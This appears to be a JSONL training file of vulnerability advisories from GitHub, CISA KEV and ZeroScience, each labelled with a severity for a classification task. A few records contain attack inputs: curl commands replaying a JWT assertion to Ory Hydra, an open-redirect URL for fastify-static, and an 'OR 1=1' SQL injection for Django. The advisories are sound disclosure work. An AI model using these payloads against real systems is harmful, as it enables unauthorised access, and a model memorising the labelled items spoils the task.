-{"id": "3f07595019ceb1a7c6a1", "text": "Path Traversal in cordova-plugin-ionic-webview\n\nVersions of `cordova-plugin-ionic-webview` prior to 2.2.0 are vulnerable to Path Traversal, allowing attackers access to OS local files that should be inaccessible by third-party applications.  The package launches a webserver listening on http://localhost:8080 without restricting access of the app itself, thus escaping the iOS application sandbox and accessing local files.\n\n## Recommendation\n\nUpgrade to version 2.2.0", "text_raw": "Path Traversal in cordova-plugin-ionic-webview\n\n[Severity: HIGH]\n\nVersions of `cordova-plugin-ionic-webview` prior to 2.2.0 are vulnerable to Path Traversal, allowing attackers access to OS local files that should be inaccessible by third-party applications.  The package launches a webserver listening on http://localhost:8080 without restricting access of the app itself, thus escaping the iOS application sandbox and accessing local files.\n\n\n## Recommendation\n\nUpgrade to version 2.2.0", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-12", "split": "train"}
-{"id": "c6a4a53247d40f47400e", "text": "Improper Access Control in novajoin\n\nA flaw was discovered in the python-novajoin plugin, all versions up to, excluding 1.1.1, for Red Hat OpenStack Platform. The novajoin API lacked sufficient access control, allowing any keystone authenticated user to generate FreeIPA tokens.", "text_raw": "Improper Access Control in novajoin\n\n[Severity: HIGH]\n\nA flaw was discovered in the python-novajoin plugin, all versions up to, excluding 1.1.1, for Red Hat OpenStack Platform. The novajoin API lacked sufficient access control, allowing any keystone authenticated user to generate FreeIPA tokens.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-12", "split": "train"}
-{"id": "5a9d914e0c8d200929b4", "text": "Authentication Bypass in hydra\n\n### Impact\n\nWhen using client authentication method \"private_key_jwt\" [1], OpenId specification says the following about assertion `jti`:\n\n> A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties\n\nHydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens:\n\n```\n$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}⏎            ~$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}\n```\n\n### Severity\n\n- TLS protects against MITM which makes it difficult to intercept valid tokens for replay attacks\n- The expiry time of the JWT gives only a short window of opportunity where it could be replayed\n\n### Patches\n\nThis will be patched with v1.4.0+oryOS.17\n\n### Workarounds\n\nTwo workarounds have been identified:\n\n- Do not allow clients to use `private_key_jwt`\n- Use short expiry times for the JWTs\n\n### References\n\nhttps://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication\n\n### Upstream\n\nThis issue will be resolved in the upstream repository https://github.com/ory/fosite", "text_raw": "Authentication Bypass in hydra\n\n[Severity: MEDIUM]\n\n### Impact\n\nWhen using client authentication method \"private_key_jwt\" [1], OpenId specification says the following about assertion `jti`:\n\n> A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties\n\nHydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens:\n\n```\n$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}⏎            ~$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}\n```\n\n### Severity\n\nWe rate the severity as medium because the following reasons make it hard to replay tokens without the patch:\u0010\n\n- TLS protects against MITM which makes it difficult to intercept valid tokens for replay attacks\n- The expiry time of the JWT gives only a short window of opportunity where it could be replayed\n\n### Patches\n\nThis will be patched with v1.4.0+oryOS.17\n\n### Workarounds\n\nTwo workarounds have been identified:\n\n- Do not allow clients to use `private_key_jwt`\n- Use short expiry times for the JWTs\n\n### References\n\nhttps://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication\n\n### Upstream\n\nThis issue will be resolved in the upstream repository https://github.com/ory/fosite", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-27", "split": "train"}
-{"id": "21d500ced604138a5abb", "text": "Missing Authorization in Jenkins Kubernetes CLI Plugin\n\nJenkins Kubernetes CLI Plugin 1.10.0 and earlier does not perform permission checks in several HTTP endpoints, allowing attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins.", "text_raw": "Missing Authorization in Jenkins Kubernetes CLI Plugin\n\n[Severity: MEDIUM]\n\nJenkins Kubernetes CLI Plugin 1.10.0 and earlier does not perform permission checks in several HTTP endpoints, allowing attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "7d31778cb42db905898b", "text": "Integer Overflow or Wraparound in OpenCV\n\nIn opencv/modules/imgcodecs/src/grfmt_pxm.cpp, function PxMDecoder::readData has an integer overflow when calculate src_pitch. If the image is from remote, may lead to remote code execution or denial of service. This affects OpenCV 3.3 (corresponding to OpenCV-Python 3.3.0.9) and earlier.", "text_raw": "Integer Overflow or Wraparound in OpenCV\n\n[Severity: HIGH]\n\nIn opencv/modules/imgcodecs/src/grfmt_pxm.cpp, function PxMDecoder::readData has an integer overflow when calculate src_pitch. If the image is from remote, may lead to remote code execution or denial of service. This affects OpenCV 3.3 (corresponding to OpenCV-Python 3.3.0.9) and earlier.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "8d6774895affa87f0ac8", "text": "SAP Customer Relationship Management (CRM) Path Traversal Vulnerability\n\nAffected: SAP Customer Relationship Management (CRM)\n\nSAP Customer Relationship Management (CRM) contains a path traversal vulnerability that allows an attacker to exploit insufficient validation of path information provided by users.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SAP Customer Relationship Management (CRM) Path Traversal Vulnerability\n\nAffected: SAP Customer Relationship Management (CRM)\n\nSAP Customer Relationship Management (CRM) contains a path traversal vulnerability that allows an attacker to exploit insufficient validation of path information provided by users.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f23790a96048925c9370", "text": "Sophos SFOS SQL Injection Vulnerability\n\nAffected: Sophos SFOS\n\nSophos Firewall operating system (SFOS) firmware contains a SQL injection vulnerability when configured with either the administration (HTTPS) service or the User Portal is exposed on the WAN zone. Successful exploitation may cause remote code execution to exfiltrate usernames and hashed passwords for the local device admin(s), portal admins, and user accounts used for remote access (but not external Active Directory or LDAP passwords).\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-89\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Sophos SFOS SQL Injection Vulnerability\n\nAffected: Sophos SFOS\n\nSophos Firewall operating system (SFOS) firmware contains a SQL injection vulnerability when configured with either the administration (HTTPS) service or the User Portal is exposed on the WAN zone. Successful exploitation may cause remote code execution to exfiltrate usernames and hashed passwords for the local device admin(s), portal admins, and user accounts used for remote access (but not external Active Directory or LDAP passwords).\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-89\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "fb25d166919a0f20b5c8", "text": "Buffer Overflow in node-weakauras-parser\n\nAffected versions of `node-weakauras-parser` are vulnerable to a Buffer Overflow. The `encode_weakaura` function fails to properly validate the input size. A buffer of 13835058055282163711 bytes causes an overflow on 64-bit systems.\n\n## Recommendation\n\nUpgrade to versions 1.0.5, 2.0.2, 3.0.1 or later.", "text_raw": "Buffer Overflow in node-weakauras-parser\n\n[Severity: MEDIUM]\n\nAffected versions of `node-weakauras-parser` are vulnerable to a Buffer Overflow. The `encode_weakaura` function fails to properly validate the input size. A buffer of 13835058055282163711 bytes causes an overflow on 64-bit systems.\n\n\n## Recommendation\n\nUpgrade to versions 1.0.5, 2.0.2, 3.0.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5b788ea3b56c085b8f16", "text": "dalek-browser-ie downloads Resources over HTTP\n\nAffected versions of `dalek-browser-ie` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dalek-browser-ie`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package author has marked the package as deprecated.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "dalek-browser-ie downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `dalek-browser-ie` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dalek-browser-ie`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package author has marked the package as deprecated.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "9d99727718f15947258c", "text": "Embedded malware in ua-parser-js\n\nThe npm package `ua-parser-js` had three versions published with malicious code. Users of affected versions (0.7.29, 0.8.0, 1.0.0) should upgrade as soon as possible and check their systems for suspicious activity. See [this issue](https://github.com/faisalman/ua-parser-js/issues/536) for details as they unfold.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Embedded malware in ua-parser-js\n\n[Severity: HIGH]\n\nThe npm package `ua-parser-js` had three versions published with malicious code. Users of affected versions (0.7.29, 0.8.0, 1.0.0) should upgrade as soon as possible and check their systems for suspicious activity. See [this issue](https://github.com/faisalman/ua-parser-js/issues/536) for details as they unfold.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-22", "split": "train"}
-{"id": "e25c03c9f8f3b02967cb", "text": "SQL Injection in Django\n\nAn issue was discovered in Django 1.11.x before 1.11.23, 2.1.x before 2.1.11, and 2.2.x before 2.2.4. Due to an error in shallow key transformation, key and index lookups for django.contrib.postgres.fields.JSONField, and key lookups for django.contrib.postgres.fields.HStoreField, were subject to SQL injection. This could, for example, be exploited via crafted use of \"OR 1=1\" in a key or index name to return all records, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to the QuerySet.filter() function.", "text_raw": "SQL Injection in Django\n\n[Severity: CRITICAL]\n\nAn issue was discovered in Django 1.11.x before 1.11.23, 2.1.x before 2.1.11, and 2.2.x before 2.2.4. Due to an error in shallow key transformation, key and index lookups for django.contrib.postgres.fields.JSONField, and key lookups for django.contrib.postgres.fields.HStoreField, were subject to SQL injection. This could, for example, be exploited via crafted use of \"OR 1=1\" in a key or index name to return all records, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to the QuerySet.filter() function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-16", "split": "train"}
-{"id": "edce026c78c078dfcbe0", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Device Reboot (DoS)", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Device Reboot (DoS)\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "832f566fcec91f25049b", "text": "Directory Traversal in serve\n\nAffected versions of `serve` do not properly handle `%2e` (.) and `%2f` (/) characters, and allow the, characters to be used in paths. This can be used to traverse the directory tree and list content of any directory the user running the process has access to.\n\nMitigating factors:\nThis vulnerability only allows listing of directory contents and does not allow reading of arbitrary files.\n\n## Recommendation\n\nUpdate to version 6.4.9 later.", "text_raw": "Directory Traversal in serve\n\n[Severity: MEDIUM]\n\nAffected versions of `serve` do not properly handle `%2e` (.) and `%2f` (/) characters, and allow the, characters to be used in paths. This can be used to traverse the directory tree and list content of any directory the user running the process has access to.\n\nMitigating factors:\nThis vulnerability only allows listing of directory contents and does not allow reading of arbitrary files.\n\n\n## Recommendation\n\nUpdate to version 6.4.9 later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "7848f4f77f5e3644bfc6", "text": "URL Redirection to Untrusted Site ('Open Redirect') in fastify-static\n\n### Impact\n\nA redirect vulnerability in the `fastify-static` module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash `//` followed by a domain: `http://localhost:3000//google.com/%2e%2e`.\n\nThe issue shows up on all the `fastify-static` applications that set `redirect: true` option. By default, it is `false`.\n\n### Patches\nThe issue has been patched in `fastify-static@4.2.4`\n\n### Workarounds\nIf updating is not an option, you can sanitize the input URLs using the [`rewriteUrl`](https://www.fastify.io/docs/latest/Server/#rewriteurl) server option.\n\n### References\n\n+ Bug founder: drstrnegth\n+ [hackerone Report](https://hackerone.com/reports/1354255)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-static](https://github.com/fastify/fastify-static)\n* Contact the [security team](https://github.com/fastify/fastify/blob/main/SECURITY.md#the-fastify-security-team)", "text_raw": "URL Redirection to Untrusted Site ('Open Redirect') in fastify-static\n\n[Severity: MEDIUM]\n\n### Impact\n\nA redirect vulnerability in the `fastify-static` module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash `//` followed by a domain: `http://localhost:3000//google.com/%2e%2e`.\n\nThe issue shows up on all the `fastify-static` applications that set `redirect: true` option. By default, it is `false`.\n\n### Patches\nThe issue has been patched in `fastify-static@4.2.4`\n\n### Workarounds\nIf updating is not an option, you can sanitize the input URLs using the [`rewriteUrl`](https://www.fastify.io/docs/latest/Server/#rewriteurl) server option.\n\n### References\n\n+ Bug founder: drstrnegth\n+ [hackerone Report](https://hackerone.com/reports/1354255)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-static](https://github.com/fastify/fastify-static)\n* Contact the [security team](https://github.com/fastify/fastify/blob/main/SECURITY.md#the-fastify-security-team)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-05", "split": "train"}
-{"id": "c9213d8e60c435e50bf3", "text": "ECOA Building Automation System Remote Privilege Escalation", "text_raw": "ECOA Building Automation System Remote Privilege Escalation\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-09-09", "split": "train"}
-{"id": "b98b1889f27e462a62d7", "text": "Data races in unicycle\n\nAffected versions of this crate unconditionally implemented `Send` & `Sync` for types `PinSlab<T>` & `Unordered<T, S>`. This allows sending non-Send types to other threads and concurrently accessing non-Sync types from multiple threads.\n\nThis can result in a data race & memory corruption when types that provide internal mutability without synchronization are contained within `PinSlab<T>` or `Unordered<T, S>` and accessed concurrently from multiple threads.\n\nThe flaw was corrected in commits 92f40b4 & 6a6c367 by adding trait bound `T: Send` to `Send` impls for `PinSlab<T>` & `Unordered<T, S>` and adding `T: Sync` to `Sync` impls for `PinSlab<T>` & `Unordered<T, S>`.", "text_raw": "Data races in unicycle\n\n[Severity: MEDIUM]\n\nAffected versions of this crate unconditionally implemented `Send` & `Sync` for types `PinSlab<T>` & `Unordered<T, S>`. This allows sending non-Send types to other threads and concurrently accessing non-Sync types from multiple threads.\n\nThis can result in a data race & memory corruption when types that provide internal mutability without synchronization are contained within `PinSlab<T>` or `Unordered<T, S>` and accessed concurrently from multiple threads.\n\nThe flaw was corrected in commits 92f40b4 & 6a6c367 by adding trait bound `T: Send` to `Send` impls for `PinSlab<T>` & `Unordered<T, S>` and adding `T: Sync` to `Sync` impls for `PinSlab<T>` & `Unordered<T, S>`.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9dfb99a64e2039a92800", "text": "Cross-site scripting in Shopizer\n\nA stored cross-site scripting (XSS) vulnerability in Shopizer before 2.17.0 allows remote attackers to inject arbitrary web script or HTML via customer_name in various forms of store administration. It is saved in the database. The code is executed for any user of store administration when information is fetched from the backend, e.g., in admin/customers/list.html.", "text_raw": "Cross-site scripting in Shopizer\n\n[Severity: MEDIUM]\n\nA stored cross-site scripting (XSS) vulnerability in Shopizer before 2.17.0 allows remote attackers to inject arbitrary web script or HTML via customer_name in various forms of store administration. It is saved in the database. The code is executed for any user of store administration when information is fetched from the backend, e.g., in admin/customers/list.html.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "4c0d4f50e11eed94e032", "text": "Division by zero in TFLite's implementation of `SpaceToDepth`\n\n### Impact\nThe `Prepare` step of the `SpaceToDepth` TFLite operator [does not check for 0 before division](https://github.com/tensorflow/tensorflow/blob/5f7975d09eac0f10ed8a17dbb6f5964977725adc/tensorflow/lite/kernels/space_to_depth.cc#L63-L67).\n\n```cc \nconst int block_size = params->block_size;\nconst int input_height = input->dims->data[1];\nconst int input_width = input->dims->data[2];\nint output_height = input_height / block_size;\nint output_width = input_width / block_size;\n```\n\nAn attacker can craft a model such that `params->block_size` would be zero.\n\n### Patches\nWe have patched the issue in GitHub commit [0d45ea1ca641b21b73bcf9c00e0179cda284e7e7](https://github.com/tensorflow/tensorflow/commit/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of `SpaceToDepth`\n\n[Severity: LOW]\n\n### Impact\nThe `Prepare` step of the `SpaceToDepth` TFLite operator [does not check for 0 before division](https://github.com/tensorflow/tensorflow/blob/5f7975d09eac0f10ed8a17dbb6f5964977725adc/tensorflow/lite/kernels/space_to_depth.cc#L63-L67).\n\n```cc \nconst int block_size = params->block_size;\nconst int input_height = input->dims->data[1];\nconst int input_width = input->dims->data[2];\nint output_height = input_height / block_size;\nint output_width = input_width / block_size;\n```   \n\nAn attacker can craft a model such that `params->block_size` would be zero.\n\n### Patches\nWe have patched the issue in GitHub commit [0d45ea1ca641b21b73bcf9c00e0179cda284e7e7](https://github.com/tensorflow/tensorflow/commit/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "a0146ea422db7fc94539", "text": "OS Command Injection in docker-compose-remote-api\n\ndocker-compose-remote-api through 0.1.4 allows execution of arbitrary commands. Within `index.js` of the package, the function `exec(serviceName, cmd, fnStdout, fnStderr, fnExit)` uses the variable `serviceName` which can be controlled by users without any sanitization.", "text_raw": "OS Command Injection in docker-compose-remote-api\n\n[Severity: CRITICAL]\n\ndocker-compose-remote-api through 0.1.4 allows execution of arbitrary commands. Within `index.js` of the package, the function `exec(serviceName, cmd, fnStdout, fnStderr, fnExit)` uses the variable `serviceName` which can be controlled by users without any sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "f773db52f5705a1c1c76", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Authentication Bypass", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Authentication Bypass\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "1ea2858f778a6f252577", "text": "Microsoft .NET Framework Remote Code Execution Vulnerability\n\nAffected: Microsoft .NET Framework\n\nMicrosoft .NET Framework contains an improper input validation vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-91\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft .NET Framework Remote Code Execution Vulnerability\n\nAffected: Microsoft .NET Framework\n\nMicrosoft .NET Framework contains an improper input validation vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-91\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "bf6d3d6d3eca9b9f88ff", "text": "Server-Side Request Forgery in UReport\n\nUReport v2.2.9 contains a Server-Side Request Forgery (SSRF) in the designer page which allows attackers to detect intranet device ports.", "text_raw": "Server-Side Request Forgery in UReport\n\n[Severity: HIGH]\n\nUReport v2.2.9 contains a Server-Side Request Forgery (SSRF) in the designer page which allows attackers to detect intranet device ports.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "b8745e0840d0021c0c3e", "text": "In Apache Ranger before 0.6.2, users with \"keyadmin\" role should not be allowed to change password for users with \"admin\" role.", "text_raw": "Moderate severity vulnerability that affects org.apache.ranger:ranger\n\n[Severity: MEDIUM]\n\nIn Apache Ranger before 0.6.2, users with \"keyadmin\" role should not be allowed to change password for users with \"admin\" role.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}